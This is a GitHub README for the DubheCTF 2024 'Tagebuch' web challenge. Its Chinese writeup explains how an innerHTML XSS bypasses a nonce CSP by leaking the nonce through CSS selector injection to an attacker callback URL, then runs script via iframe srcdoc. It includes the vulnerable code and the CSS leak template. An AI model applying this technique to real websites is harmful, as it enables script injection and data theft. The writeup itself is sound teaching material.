Skip to content
This repository has been archived by the owner on Mar 19, 2024. It is now read-only.
/ Tagebuch Public archive

A simple diary sharing site, but vulnerable. (DubheCTF 2024)

License

Notifications You must be signed in to change notification settings

mix-archive/Tagebuch

Repository files navigation

Tagebuch

A simple diary-sharing site, but vulnerable. (DubheCTF 2024)

题面

白盒前端题,题目附件为本仓库。

题目描述

Ich habe eine Tagebuch-Website von jemand anderem kopiert, wie könnte das ein Problem sein?

Writeup

题目整体的攻击流程图(感谢 V&N 的 @Cnily03 师傅做的图):

图片

阅读源码,发现日志的查看和分享功能使用了innerHTML,存在 XSS 漏洞。但是由于 CSP 的限制,无法直接执行没有nonce的脚本。

const param = new URLSearchParams(location.hash.slice(1));
const id = param.get('id');
if (id && /^[0-9a-f]+$/.test(id)) {
  fetch(`/read/${id}`)
    .then((data) => data.json())
    .then((data) => {
      const title = document.createElement('p');
      title.innerText = data.title;
      document.getElementById('title').appendChild(title);

      const content = document.createElement('p');
      content.innerHTML = data.content;
      document.getElementById('content').appendChild(content);
    });
  document.getElementById('share').href = `/share_diary/${id}`;
}
app.engine('html', async (path, data, cb) =>
  ejs.renderFile(path, data, (err, html) => {
    if (err) return cb(err);
    const nonce = nonceStorage.getStore();
    if (nonce) {
      const cspMeta = `<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-${nonce}';">`;
      html = html.replace(/<head>/, `<head>\n${cspMeta}`);
    }
    cb(null, html);
  })
);

因为 CSP 并没有限制 CSS,所以我们可以通过 CSS 注入来获取到 nonce ,然后再利用 nonce 来执行脚本。

script {
  display: block;
}
script[nonce^='{{:token:}}'] {
  background-image: url('{{:callback:}}');
}

同时由于 share_read.jswindow.addEventListener("hashchange", load); 的存在,我们可以通过修改 URL Hash 的方式来变更上传日志的 ID,但是不刷新页面,从而使 nonce 不变。

所以我们可以建立如下的攻击思路:

  1. 使用 <meta http-equiv="refresh" content="1; https://example.com"> 跳转到自己构造的页面

  2. 在自己的页面中,构造一个 Iframe,将 src 指向分享的页面。同时构造一个 CSS,包含对 nonce 前缀的选择器,将其 background-image 指向自己的服务器。

  3. 在获得 nonce 前缀后,构造一个新的 CSS,包含已知 nonce 前缀的选择器,更新 Iframe URL 中的 Hash 部分以在不刷新页面的情况下获取新的 nonce。

  4. 重复第 2、3 步,直到获得完整的 nonce。

  5. 使用完整的 nonce,便可以通过<iframe srcdoc>来执行任意 JavaScript 代码,从而获取 Flag。

本题目的完整攻击脚本见 exp.py

About

A simple diary sharing site, but vulnerable. (DubheCTF 2024)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published